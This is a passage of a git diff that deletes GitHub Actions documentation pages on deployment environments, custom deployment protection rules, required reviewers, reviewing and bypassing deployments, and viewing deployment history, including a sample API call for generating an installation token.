@@ ---- -title: Managing workflow runs and deployments -shortTitle: Manage workflows and deployments -intro: '{% data variables.product.prodname_dotcom %} enables you to have control over your workflow runs and deployments.' -redirect_from: - - /actions/configuring-and-managing-workflows/managing-a-workflow-run - - /articles/managing-a-workflow-run - - /github/automating-your-workflow-with-github-actions/managing-a-workflow-run - - /actions/automating-your-workflow-with-github-actions/managing-a-workflow-run - - /actions/configuring-and-managing-workflows/configuring-and-managing-workflow-files-and-runs - - /actions/managing-workflow-runs -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - /managing-workflow-runs - - /managing-deployments ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} diff --git a/content/actions/managing-workflow-runs-and-deployments/managing-deployments/configuring-custom-deployment-protection-rules.md b/content/actions/managing-workflow-runs-and-deployments/managing-deployments/configuring-custom-deployment-protection-rules.md deleted file mode 100644 index 25f09394cb6c..000000000000 --- a/content/actions/managing-workflow-runs-and-deployments/managing-deployments/configuring-custom-deployment-protection-rules.md +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: Configuring custom deployment protection rules -shortTitle: Configure custom protection rules -intro: 'Use {% data variables.product.prodname_github_apps %} to automate protecting deployments with third-party systems.' -product: '{% data reusables.actions.custom-deployment-protection-rules-availability %}' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Actions - - CD - - Deployment -redirect_from: - - /actions/deployment/protecting-deployments/configuring-custom-deployment-protection-rules ---- - -{% data reusables.actions.custom-deployment-protection-rules-beta-note %} - -## About custom deployment protection rules - -Custom deployment protection rules are powered by {% data variables.product.prodname_github_apps %}. Once a deployment protection rule is configured and installed in a repository, it can be enabled for any environments in the repository. - -After you enable a custom deployment protection rule on an environment, every time a workflow step targets that environment, the deployment protection rule will run automatically. For more information about targeting an environment for deployments, see [AUTOTITLE](/actions/deployment/targeting-different-environments/managing-environments-for-deployment). - -When a custom deployment protection rule is triggered it will wait for up to 30 days for a webhook event response before it times out and the workflow job fails. - -For more information about creating your own custom deployment protection rules, see [AUTOTITLE](/actions/deployment/protecting-deployments/creating-custom-deployment-protection-rules). - -{% data reusables.actions.custom-deployment-protection-rules-limits %} - -## Using existing custom deployment protection rules - -You can choose to create your own custom deployment protection rules or you may use any existing custom deployment protection rules. - -The following is a list of official partner implementations for deployment protection rules. - -* Datadog: you can enforce protection rules on your {% data variables.product.prodname_actions %} deployment workflows using Datadog monitors. For more information, see [Gating your {% data variables.product.prodname_actions %} Deployments with Datadog Monitors](https://docs.datadoghq.com/continuous_integration/guides/github_gating/) in the Datadog documentation. -* Honeycomb: you can define thresholds to reject or approve deployments based on data you are sending to Honeycomb. For more information, see [the Honeycomb app](https://github.com/apps/honeycomb-io) in the {% data variables.product.prodname_marketplace %}. -* New Relic: for more information, see [the New Relic app](https://github.com/apps/new-relic-gate) in the {% data variables.product.prodname_marketplace %}. -* NCM NodeSource: for more information, see [the NCM NodeSource app](https://github.com/apps/ncm-nodesource) in the {% data variables.product.prodname_marketplace %}. -* Sentry: for more information, see [the Sentry Deployment Gate app](https://github.com/apps/sentry-deployment-gate) in the {% data variables.product.prodname_marketplace %}. -* ServiceNow: for more information, see [GitHub integration with DevOps Change Velocity](https://www.servicenow.com/docs/bundle/utah-devops/page/product/enterprise-dev-ops/concept/github-integration-dev-ops.html) in the ServiceNow documentation. - -## Prerequisites - -In order for a custom deployment protection rule to be available to all environments in a repository, you must first install the custom deployment protection rule on the repository. For more information, see [AUTOTITLE](/apps/maintaining-github-apps/installing-github-apps). - -After a custom deployment protection rule has been installed in a repository, it must be enabled for each environment where you want the rule to apply. - -## Enabling custom deployment protection rules for the environment - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.actions.sidebar-environment %} -1. Select the environment you want to configure. -1. Under "Deployment protection rules," check the box next to each custom deployment protection rule you want to enable for the environment. -1. Click **Save protection rules**. - -Once a custom deployment protection rule has been enabled for an environment, it will automatically run whenever a workflow reaches a job that references the environment. You can see the results of an approval or rejection for your deployment by reviewing the details of the deployment. For more information, see [AUTOTITLE](/actions/managing-workflow-runs/reviewing-deployments). diff --git a/content/actions/managing-workflow-runs-and-deployments/managing-deployments/creating-custom-deployment-protection-rules.md b/content/actions/managing-workflow-runs-and-deployments/managing-deployments/creating-custom-deployment-protection-rules.md deleted file mode 100644 index b8b9bc5b2a1d..000000000000 --- a/content/actions/managing-workflow-runs-and-deployments/managing-deployments/creating-custom-deployment-protection-rules.md +++ /dev/null @@ -1,89 +0,0 @@ ---- -title: Creating custom deployment protection rules -shortTitle: Create custom protection rules -intro: 'Use {% data variables.product.prodname_github_apps %} to automate protecting deployments with third-party systems.' -product: '{% data reusables.actions.custom-deployment-protection-rules-availability %}' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Actions - - CD - - Deployment -redirect_from: - - /actions/deployment/protecting-deployments/creating-custom-deployment-protection-rules ---- - -{% data reusables.actions.custom-deployment-protection-rules-beta-note %} - -## About custom deployment protection rules - -{% data reusables.actions.about-custom-deployment-protection-rules %} - -Custom deployment protection rules are powered by {% data variables.product.prodname_github_apps %} and run based on webhooks and callbacks. Approval or rejection of a workflow job is based on consumption of the `deployment_protection_rule` webhook. For more information, see [AUTOTITLE](/webhooks-and-events/webhooks/webhook-events-and-payloads#deployment_protection_rule) and [Approving or rejecting deployments](#approving-or-rejecting-deployments). - -Once you have created a custom deployment protection rule and installed it on your repository, the custom deployment protection rule will automatically be available for all environments in the repository. - -## Using custom deployment protection rules to approve or reject deployments - -Deployments to an environment can be approved or rejected based on the conditions defined in any external service like an approved ticket in an IT Service Management (ITSM) system, vulnerable scan result on dependencies, or stable health metrics of a cloud resource. The decision to approve or reject deployments is at the discretion of the integrating third-party application and the gating conditions you define in them. The following are a few use cases for which you can create a deployment protection rule. - -* ITSM & Security Operations: you can check for service readiness by validating quality, security, and compliance processes that verify deployment readiness. -* Observability systems: you can consult monitoring or observability systems (Asset Performance Management Systems and logging aggregators, cloud resource health verification systems, etc.) for verifying the safety and deployment readiness. -* Code quality & testing tools: you can check for automated tests on CI builds which need to be deployed to an environment. - -Alternatively, you can write your own protection rules for any of the above use cases or you can define any custom logic to safely approve or reject deployments from pre-production to production environments. - -## Creating a custom deployment protection rule with {% data variables.product.prodname_github_apps %} - -1. Create a {% data variables.product.prodname_github_app %}. For more information, see [AUTOTITLE](/apps/creating-github-apps/creating-github-apps/creating-a-github-app). Configure the {% data variables.product.prodname_github_app %} as follows. - 1. Optionally, in the **Callback URL** text field under "Identifying and authorizing users," enter the callback URL. For more information, see [AUTOTITLE](/apps/creating-github-apps/creating-github-apps/about-the-user-authorization-callback-url). - 1. Under "Permissions," select **Repository permissions**. - 1. To the right of "Actions," click the drop down menu and select **Access: Read-only**. - ![Screenshot of the "Repository permissions" section for a new GitHub App. The Actions permission shows "Read-only" and is outlined in orange.](/assets/images/help/actions/actions-repo-permissions-read-only.png) - 1. To the right of "Deployments," click the drop down menu and select **Access: Read and write**. - ![Screenshot of the "Repository permissions" section for a new GitHub App. The Deployments permission shows "Read and write" and is outlined in orange.](/assets/images/help/actions/actions-deployments-repo-permissions-read-and-write.png) - 1. Under "Subscribe to events," select **Deployment protection rule**. - ![Screenshot of the "Subscribe to events section" section for a new GitHub App. The checkbox for the Deployment protection rule is outlined in orange.](/assets/images/help/actions/actions-subscribe-to-events-deployment-protection-rules.png) - -1. Install the custom deployment protection rule in your repositories and enable it for use. For more information, see [AUTOTITLE](/actions/deployment/protecting-deployments/configuring-custom-deployment-protection-rules). - -## Approving or rejecting deployments - -Once a workflow reaches a job that references an environment that has the custom deployment protection rule enabled, {% data variables.product.company_short %} sends a `POST` request to a URL you configure containing the `deployment_protection_rule` payload. You can write your deployment protection rule to automatically send REST API requests that approve or reject the deployment based on the `deployment_protection_rule` payload. Configure your REST API requests as follows. - -1. Validate the incoming `POST` request. For more information, see [AUTOTITLE](/webhooks-and-events/webhooks/securing-your-webhooks#validating-payloads-from-github). -1. Use a JSON Web Token to authenticate as a {% data variables.product.prodname_github_app %}. For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/authenticating-as-a-github-app#about-authentication-as-a-github-app). -1. Using the installation ID from the `deployment_protection_rule` webhook payload, generate an install token. For more information, see [AUTOTITLE](/developers/apps/building-github-apps/authenticating-with-github-apps#authenticating-as-a-github-app). - - ```shell - curl --request POST \ - --url "{% data variables.product.rest_url %}/app/installations/INSTALLATION_ID/ACCESS_TOKENS" \ - --header "Accept: application/vnd.github+json" \ - --header "Authorization: Bearer {jwt}" \ - --header "Content-Type: application/json" \ - --data \ - '{ \ - "repository_ids": [321], \ - "permissions": { \ - "deployments": "write" \ - } \ - }' - ``` - -1. Optionally, to add a status report without taking any other action to {% data variables.product.prodname_dotcom %}, send a `POST` request to `/repos/OWNER/REPO/actions/runs/RUN_ID/deployment_protection_rule`. In the request body, omit the `state`. For more information, see [AUTOTITLE](/rest/actions/workflow-runs#review-custom-deployment-protection-rules-for-a-workflow-run). You can post a status report on the same deployment up to 10 times. Status reports support Markdown formatting and can be up to 1024 characters long. - -1. To approve or reject a request, send a `POST` request to `/repos/OWNER/REPO/actions/runs/RUN_ID/deployment_protection_rule`. In the request body, set the `state` property to either `approved` or `rejected`. For more information, see [AUTOTITLE](/rest/actions/workflow-runs#review-custom-deployment-protection-rules-for-a-workflow-run). - -1. Optionally, request the status of an approval for a workflow run by sending a `GET` request to `/repos/OWNER/REPOSITORY_ID/actions/runs/RUN_ID/approvals`. For more information, see [AUTOTITLE](/rest/actions/workflow-runs#get-the-review-history-for-a-workflow-run). - -1. Optionally, review the deployment on {% data variables.product.prodname_dotcom %}. For more information, see [AUTOTITLE](/actions/managing-workflow-runs/reviewing-deployments). - -{% ifversion fpt or ghec %} - -## Publishing custom deployment protection rules in the {% data variables.product.prodname_marketplace %} - -You can publish your {% data variables.product.prodname_github_app %} to the {% data variables.product.prodname_marketplace %} to allow developers to discover suitable protection rules and install it across their {% data variables.product.company_short %} repositories. Or you can browse existing custom deployment protection rules to suit your needs. For more information, see [AUTOTITLE](/apps/publishing-apps-to-github-marketplace/github-marketplace-overview/about-github-marketplace) and [AUTOTITLE](/apps/publishing-apps-to-github-marketplace/listing-an-app-on-github-marketplace). - -{% endif %} diff --git a/content/actions/managing-workflow-runs-and-deployments/managing-deployments/index.md b/content/actions/managing-workflow-runs-and-deployments/managing-deployments/index.md deleted file mode 100644 index 086e954c7298..000000000000 --- a/content/actions/managing-workflow-runs-and-deployments/managing-deployments/index.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Managing deployments -shortTitle: Manage deployments -intro: 'View your deployment history and configure rules to protect your deployments.' -redirect_from: - - /actions/deployment/managing-your-deployments - - /actions/deployment/protecting-deployments -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - /viewing-deployment-history - - /managing-environments-for-deployment - - /reviewing-deployments - - /creating-custom-deployment-protection-rules - - /configuring-custom-deployment-protection-rules ---- - diff --git a/content/actions/managing-workflow-runs-and-deployments/managing-deployments/managing-environments-for-deployment.md b/content/actions/managing-workflow-runs-and-deployments/managing-deployments/managing-environments-for-deployment.md deleted file mode 100644 index 5935717404aa..000000000000 --- a/content/actions/managing-workflow-runs-and-deployments/managing-deployments/managing-environments-for-deployment.md +++ /dev/null @@ -1,232 +0,0 @@ ---- -title: Managing environments for deployment -shortTitle: Manage environments -intro: You can create environments and secure those environments with deployment protection rules. A job that references an environment must follow any protection rules for the environment before running or accessing the environment's secrets. -product: '{% data reusables.gated-features.environments %}' -permissions: Repository owners -redirect_from: - - /actions/reference/environments - - /actions/deployment/environments - - /actions/deployment/using-environments-for-deployment - - /actions/deployment/targeting-different-environments/using-environments-for-deployment - - /actions/deployment/targeting-different-environments - - /actions/deployment/targeting-different-environments/managing-environments-for-deployment - - /actions/administering-github-actions/managing-environments-for-deployment -topics: - - CD - - Deployment -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- - - -## About environments - -Environments are used to describe a general deployment target like `production`, `staging`, or `development`. When a {% data variables.product.prodname_actions %} workflow deploys to an environment, the environment is displayed on the main page of the repository. For more information about viewing deployments to environments, see [AUTOTITLE](/actions/deployment/managing-your-deployments/viewing-deployment-history). - -You can configure environments with protection rules and secrets. When a workflow job references an environment, the job won't start until all of the environment's protection rules pass. A job also cannot access secrets that are defined in an environment until all the deployment protection rules pass. - -Optionally, you can bypass an environment's protection rules and force all pending jobs referencing the environment to proceed. For more information, see [AUTOTITLE](/actions/managing-workflow-runs/reviewing-deployments#bypassing-environment-protection-rules). - -{% ifversion fpt %} - -> [!NOTE] -> Users with {% data variables.product.prodname_free_user %} plans can only configure environments for public repositories. If you convert a repository from public to private, any configured protection rules or environment secrets will be ignored, and you will not be able to configure any environments. If you convert your repository back to public, you will have access to any previously configured protection rules and environment secrets. -> -> Organizations with {% data variables.product.prodname_team %} and users with {% data variables.product.prodname_pro %} can configure environments for private repositories. For more information, see [AUTOTITLE](/get-started/learning-about-github/githubs-plans). - -{% endif %} - -## Deployment protection rules - -Deployment protection rules require specific conditions to pass before a job referencing the environment can proceed. You can use deployment protection rules to require a manual approval, delay a job, or restrict the environment to certain branches. You can also create and implement custom protection rules powered by {% data variables.product.prodname_github_apps %} to use third-party systems to control deployments referencing environments configured on {% data variables.product.github %}. - -Third-party systems can be observability systems, change management systems, code quality systems, or other manual configurations that you use to assess readiness before deployments are safely rolled out to environments. - -{% data reusables.actions.custom-deployment-protection-rules-limits %} - -### Required reviewers - -Use required reviewers to require a specific person or team to approve workflow jobs that reference the environment. You can list up to six users or teams as reviewers. The reviewers must have at least read access to the repository. Only one of the required reviewers needs to approve the job for it to proceed. - -You also have the option to prevent self-reviews for deployments to protected environments. If you enable this setting, users who initiate a deployment cannot approve the deployment job, even if they are a required reviewer. This ensures that deployments to protected environments are always reviewed by more than one person. - -For more information on reviewing jobs that reference an environment with required reviewers, see [AUTOTITLE](/actions/managing-workflow-runs/reviewing-deployments). - -{% ifversion fpt %} - -> [!NOTE] -> If you are on a {% data variables.product.prodname_free_user %}, {% data variables.product.prodname_pro %}, or {% data variables.product.prodname_team %} plan, required reviewers are only available for public repositories. - -{% endif %} - -### Wait timer - -Use a wait timer to delay a job for a specific amount of time after the job is initially triggered. The time (in minutes) must be an integer between 1 and 43,200 (30 days). Wait time will not count towards your billable time. - -{% ifversion fpt %} - -> [!NOTE] -> If you are on a {% data variables.product.prodname_free_user %}, {% data variables.product.prodname_pro %}, or {% data variables.product.prodname_team %} plan, wait timers are only available for public repositories. - -{% endif %} - -### Deployment branches and tags - -Use deployment branches and tags to restrict which branches and tags can deploy to the environment. Below are the options for deployment branches and tags for an environment: - -* **No restriction:** No restriction on which branch or tag can deploy to the environment. -* **Protected branches only:** Only branches with branch protection rules enabled can deploy to the environment. If no branch protection rules are defined for any branch in the repository, then all branches can deploy. For more information about branch protection rules, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/about-protected-branches). - - > [!NOTE] - > Deployment workflow runs triggered by tags with the same name as a protected branch and forks with branches that match the protected branch name cannot deploy to the environment. - -* **Selected branches and tags:** Only branches and tags that match your specified name patterns can deploy to the environment. - - If you specify `releases/*` as a deployment branch or tag rule, only a branch or tag whose name begins with `releases/` can deploy to the environment. (Wildcard characters will not match `/`. To match branches or tags that begin with `release/` and contain an additional single slash, use `release/*/*`.) If you add `main` as a branch rule, a branch named `main` can also deploy to the environment. For more information about syntax options for deployment branches, see the [Ruby `File.fnmatch` documentation](https://ruby-doc.org/core-2.5.1/File.html#method-c-fnmatch). - - {% data reusables.actions.branch-and-tag-deployment-rules-configuration %} - -{% ifversion fpt %} - -> [!NOTE] -> Deployment branches and tags are available for all public repositories. For users on {% data variables.product.prodname_pro %} or {% data variables.product.prodname_team %} plans, deployment branches and tags are also available for private repositories. - -{% endif %} - -### Allow administrators to bypass configured protection rules - -By default, administrators can bypass the protection rules and force deployments to specific environments. For more information, see [AUTOTITLE](/actions/managing-workflow-runs/reviewing-deployments#bypassing-environment-protection-rules). - -Alternatively, you can configure environments to disallow bypassing the protection rules for all deployments to the environment. - -{% ifversion fpt %} - -> [!NOTE] -> Allowing administrators to bypass protection rules is only available for public repositories for users on {% data variables.product.prodname_free_user %}, {% data variables.product.prodname_pro %}, and {% data variables.product.prodname_team %} plans. - -{% endif %} - -### Custom deployment protection rules - -{% data reusables.actions.custom-deployment-protection-rules-beta-note %} - -{% data reusables.actions.about-custom-deployment-protection-rules %} For more information, see [AUTOTITLE](/actions/deployment/protecting-deployments/creating-custom-deployment-protection-rules). - -Once custom deployment protection rules have been created and installed on a repository, you can enable the custom deployment protection rule for any environment in the repository. For more information about configuring and enabling custom deployment protection rules, see [AUTOTITLE](/actions/deployment/protecting-deployments/configuring-custom-deployment-protection-rules). - -{% ifversion fpt %} - -> [!NOTE] -> Custom deployment protection rules are only available for public repositories for users on {% data variables.product.prodname_free_user %}, {% data variables.product.prodname_pro %}, and {% data variables.product.prodname_team %} plans. - -{% endif %} - -## Environment secrets - -Secrets stored in an environment are only available to workflow jobs that reference the environment. If the environment requires approval, a job cannot access environment secrets until one of the required reviewers approves it. For more information about secrets, see [AUTOTITLE](/actions/security-for-github-actions/security-guides/about-secrets). - -{% ifversion fpt %} -> [!NOTE] -> * Workflows that run on self-hosted runners are not run in an isolated container, even if they use environments. Environment secrets should be treated with the same level of security as repository and organization secrets. For more information, see [AUTOTITLE](/actions/security-guides/security-hardening-for-github-actions#hardening-for-self-hosted-runners). -> * If you are using {% data variables.product.prodname_free_user %}, environment secrets are only available in public repositories. For access to environment secrets in private or internal repositories, you must use {% data variables.product.prodname_pro %}, {% data variables.product.prodname_team %}, or {% data variables.product.prodname_enterprise %}. For more information on switching your plan, see [AUTOTITLE](/billing/managing-the-plan-for-your-github-account/upgrading-your-accounts-plan). - -{% else %} - -> [!NOTE] -> Workflows that run on self-hosted runners are not run in an isolated container, even if they use environments. Environment secrets should be treated with the same level of security as repository and organization secrets. For more information, see [AUTOTITLE](/actions/security-guides/security-hardening-for-github-actions#hardening-for-self-hosted-runners). - -{% endif %} - -## Environment variables - -Variables stored in an environment are only available to workflow jobs that reference the environment. These variables are only accessible using the [`vars`](/actions/learn-github-actions/contexts#vars-context) context. For more information, see [AUTOTITLE](/actions/learn-github-actions/variables). - -{% ifversion fpt %} - -> [!NOTE] -> Environment variables are available for all public repositories. For users on {% data variables.product.prodname_pro %} or {% data variables.product.prodname_team %} plans, environment variables are also available for private repositories. - -{% endif %} - -## Creating an environment - -{% data reusables.actions.permissions-statement-environment %} - -{% ifversion fpt %} - -> [!NOTE] -> * Creation of an environment in a private repository is available to organizations with {% data variables.product.prodname_team %} and users with {% data variables.product.prodname_pro %}. -> * Some features for environments have no or limited availability for private repositories. If you are unable to access a feature described in the instructions below, please see the documentation linked in the related step for availability information. - -{% endif %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.actions.sidebar-environment %} -{% data reusables.actions.new-environment %} -{% data reusables.actions.name-environment %} -1. Optionally, specify people or teams that must approve workflow jobs that use this environment. For more information, see [Required reviewers](#required-reviewers). - 1. Select **Required reviewers**. - 1. Enter up to 6 people or teams. Only one of the required reviewers needs to approve the job for it to proceed. - 1. Optionally, to prevent users from approving workflows runs that they triggered, select **Prevent self-review**. - 1. Click **Save protection rules**. -1. Optionally, specify the amount of time to wait before allowing workflow jobs that use this environment to proceed. For more information, see [Wait timer](#wait-timer). - 1. Select **Wait timer**. - 1. Enter the number of minutes to wait. - 1. Click **Save protection rules**. -1. Optionally, disallow bypassing configured protection rules. For more information, see [Allow administrators to bypass configured protection rules](#allow-administrators-to-bypass-configured-protection-rules). - 1. Deselect **Allow administrators to bypass configured protection rules**. - 1. Click **Save protection rules**. -1. Optionally, enable any custom deployment protection rules that have been created with {% data variables.product.prodname_github_apps %}. For more information, see [Custom deployment protection rules](#custom-deployment-protection-rules). - 1. Select the custom protection rule you want to enable. - 1. Click **Save protection rules**. -1. Optionally, specify what branches and tags can deploy to this environment. For more information, see [Deployment branches and tags](/actions/deployment/targeting-different-environments/managing-environments-for-deployment#deployment-branches-and-tags). - 1. Select the desired option in the **Deployment branches** dropdown. - 1. If you chose **Selected branches and tags**, to add a new rule, click **Add deployment branch or tag rule** - 1. In the "Ref type" dropdown menu, depending on what rule you want to apply, click **{% octicon "git-branch" aria-hidden="true" %} Branch** or **{% octicon "tag" aria-hidden="true" %} Tag**. - 1. Enter the name pattern for the branch or tag that you want to allow. - - {% data reusables.actions.branch-and-tag-deployment-rules-configuration %} - - 1. Click **Add rule**. -1. Optionally, add environment secrets. These secrets are only available to workflow jobs that use the environment. Additionally, workflow jobs that use this environment can only access these secrets after any configured rules (for example, required reviewers) pass. For more information, see [Environment secrets](#environment-secrets). - 1. Under **Environment secrets**, click **Add Secret**. - 1. Enter the secret name. - 1. Enter the secret value. - 1. Click **Add secret**. -1. Optionally, add environment variables. These variables are only available to workflow jobs that use the environment, and are only accessible using the [`vars`](/actions/learn-github-actions/contexts#vars-context) context. For more information, see [Environment variables](#environment-variables). - 1. Under **Environment variables**, click **Add Variable**. - 1. Enter the variable name. - 1. Enter the variable value. - 1. Click **Add variable**. - -You can also create and configure environments through the REST API. For more information, see [AUTOTITLE](/rest/deployments/environments), [AUTOTITLE](/rest/actions/secrets), [AUTOTITLE](/rest/actions/variables), and [AUTOTITLE](/rest/deployments/branch-policies). - -Running a workflow that references an environment that does not exist will create an environment with the referenced name. If the environment is created from running implicit page builds (for example, from a branch or folder source), the source branch will be added as a protection rule to the environment. Otherwise, the newly created environment will not have any protection rules or secrets configured. Anyone that can edit workflows in the repository can create environments via a workflow file, but only repository admins can configure the environment. - -## Deleting an environment - -{% data reusables.actions.permissions-statement-environment %} - -Deleting an environment will delete all secrets and protection rules associated with the environment. Any jobs currently waiting because of protection rules from the deleted environment will automatically fail. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.actions.sidebar-environment %} -1. Next to the environment that you want to delete, click {% octicon "trash" aria-label="Delete environment" %}. -1. Click **I understand, delete this environment**. - -You can also delete environments through the REST API. For more information, see [AUTOTITLE](/rest/repos#environments). - -## How environments relate to deployments - -{% data reusables.actions.environment-deployment-event %} - -You can access these objects through the REST API or GraphQL API. You can also subscribe to these webhook events. For more information, see [AUTOTITLE](/rest/repos#deployments), [AUTOTITLE](/graphql/reference/objects#deployment) (GraphQL API), or [AUTOTITLE](/webhooks-and-events/webhooks/webhook-events-and-payloads#deployment). - -## Next steps - -{% data variables.product.prodname_actions %} provides several features for managing your deployments. For more information, see [AUTOTITLE](/actions/deployment/about-deployments/deploying-with-github-actions). diff --git a/content/actions/managing-workflow-runs-and-deployments/managing-deployments/reviewing-deployments.md b/content/actions/managing-workflow-runs-and-deployments/managing-deployments/reviewing-deployments.md deleted file mode 100644 index 5c84641d3f43..000000000000 --- a/content/actions/managing-workflow-runs-and-deployments/managing-deployments/reviewing-deployments.md +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: Reviewing deployments -shortTitle: Review deployments -intro: You can approve or reject jobs awaiting review. -product: '{% data reusables.gated-features.environments %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -redirect_from: - - /actions/managing-workflow-runs/reviewing-deployments ---- - - -## About required reviews in workflows - -Jobs that reference an environment configured with required reviewers will wait for an approval before starting. While a job is awaiting approval, it has a status of "Waiting". If a job is not approved within 30 days, it will automatically fail. - -For more information about environments and required approvals, see [AUTOTITLE](/actions/deployment/targeting-different-environments/managing-environments-for-deployment). For information about how to review deployments with the REST API, see [AUTOTITLE](/rest/actions/workflow-runs). - -## Approving or rejecting a job - -1. Navigate to the workflow run that requires review. For more information about navigating to a workflow run, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history). -1. If the run requires review, you will see a notification for the review request. On the notification, click **Review deployments**. -1. Select the job environment(s) to approve or reject. Optionally, leave a comment. -1. Approve or reject: - * To approve the job, click **Approve and deploy**. Once a job is approved (and any other deployment protection rules have passed), the job will proceed. At this point, the job can access any secrets stored in the environment. - * To reject the job, click **Reject**. If a job is rejected, the workflow will fail. - -> [!NOTE] -> If the targeted environment is configured to prevent self-approvals for deployments, you will not be able to approve a deployment from a workflow run you initiated. For more information, see [AUTOTITLE](/actions/deployment/targeting-different-environments/managing-environments-for-deployment#required-reviewers). - -## Bypassing deployment protection rules - -If you have configured deployment protection rules that control whether software can be deployed to an environment, you can bypass these rules and force all pending jobs referencing the environment to proceed. - -> [!NOTE] -> * You cannot bypass deployment protection rules if the environment has been configured to prevent admins from bypassing configured protection rules. For more information, see [AUTOTITLE](/actions/deployment/targeting-different-environments/managing-environments-for-deployment#creating-an-environment). -> * You can only bypass deployment protection rules during workflow execution when a job referencing the environment is in a "Pending" state. - -1. Navigate to the workflow run. For more information about navigating to a workflow run, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history). -1. To the right of **Deployment protection rules**, click **Start all waiting jobs**. - ![Screenshot of the "Deployment protection rules" section with the "Start all waiting jobs" button outlined in orange.](/assets/images/actions-bypass-env-protection-rules.png) -1. In the pop-up window, select the environments for which you want to bypass deployment protection rules. -1. Under **Leave a comment**, enter a description for bypassing the deployment protection rules. -1. Click **I understand the consequences, start deploying**. diff --git a/content/actions/managing-workflow-runs-and-deployments/managing-deployments/viewing-deployment-history.md b/content/actions/managing-workflow-runs-and-deployments/managing-deployments/viewing-deployment-history.md deleted file mode 100644 index 72b13e2cba92..000000000000 --- a/content/actions/managing-workflow-runs-and-deployments/managing-deployments/viewing-deployment-history.md +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: Viewing deployment history -shortTitle: Deployment history -intro: View current and previous deployments for your repository. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - API -redirect_from: - - /developers/overview/viewing-deployment-history - - /actions/deployment/viewing-deployment-history - - /actions/deployment/managing-your-deployments/viewing-deployment-history ---- - -## About deployment history - -{% data reusables.actions.about-deployment-with-github-actions %} - -On the deployments page of your repository, you can view the following aspects of your deployments. - -* Currently active deployments across various environments -* Deployments filtered by environment -* Your repository's full deployment history -* Associated commits that triggered the deployment -* Connected {% data variables.product.prodname_actions %} workflow logs -* The deployment URL (if one exists) -* The source pull request and branch related to each deployment -* Deployment statuses. For more information about deployment statuses, see [AUTOTITLE](/rest/deployments/deployments#about-deployments). - -By default, the deployments page shows currently active deployments from select environments and a timeline of the latest deployments for all environments. - -## Viewing your repository's deployment history - -1. In the right-hand sidebar of the home page of your repository, click **Deployments**. -1. Once you are on the "Deployments" page, you can view the following information about your deployment history. - * **To view recent deployments for a specific environment**, in the "Environments" section of the left sidebar, click an environment.{% ifversion deployment-dashboard-filter %} - * **To pin an environment to the top of the deployment history list**, repository administrators can click {% octicon "pin" aria-label="Pin environment" %} to the right of the environment. You can pin up to ten environments.{% endif %} - * **To view the commit that triggered a deployment**, in the deployment history list, click the commit message for the deployment you want to view. - >[!NOTE]Deployments from commits that originate from a fork outside of the repository will not show links to the source pull request and branch related to each deployment. For more information about forks, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks). - * **To view the URL for a deployment**, to the right of the commit message in the deployment history list, click {% octicon "link-external" aria-label="Navigate to deployment URL" %}. - * **To navigate to the workflow run logs associated with a deployment**, to the right of the commit message in the deployment history list, click {% octicon "kebab-horizontal" aria-label="View logs" %}, then click **View logs**.{% ifversion deployment-dashboard-filter %} -1. Optionally, to filter the deployment history list, create a filter. - 1. Click on the **{% octicon "filter" aria-hidden="true" %} Filter** button. - 1. Click **{% octicon "plus" aria-hidden="true" %} Add a filter**. - 1. Choose a qualifier you would like to filter the deployment history by. - 1. Depending on the qualifier you chose, fill out information in the "Operator" and "Value" columns. - 1. Optionally, click **{% octicon "plus" aria-hidden="true" %} Add a filter** to add another filter. - 1. Click **Apply**.{% endif %} diff --git a/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/approving-workflow-runs-from-private-forks.md b/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/approving-workflow-runs-from-private-forks.md deleted file mode 100644 index 0803f64d56a3..000000000000 --- a/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/approving-workflow-runs-from-private-forks.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Approving workflow runs from private forks -intro: 'When someone without write access submits a pull request to a private repository, a maintainer may need to approve any workflow runs.' -permissions: Maintainers with write access to a repository can approve workflow runs. -versions: - fpt: '*' - ghec: '*' - ghes: '*' -shortTitle: Approve private fork runs -redirect_from: - - /actions/managing-workflow-runs/approving-workflow-runs-from-private-forks ---- - -## About workflow runs from private forks - -{% data reusables.actions.private-repository-forks-overview %} For more information, see [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-fork-pull-requests-in-private-repositories). - -## Approving workflow runs on a pull request from a private fork - -{% data reusables.actions.workflows.approve-workflow-runs %} diff --git a/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/approving-workflow-runs-from-public-forks.md b/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/approving-workflow-runs-from-public-forks.md deleted file mode 100644 index 0be49da7d885..000000000000 --- a/content/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/approving-workflow-runs-from-public-forks.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Approving workflow runs from public forks -intro: 'When an outside contributor submits a pull request to a public repository, a maintainer with write access may need to approve some workflow runs.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -shortTitle: Approve public fork runs -redirect_from: - - 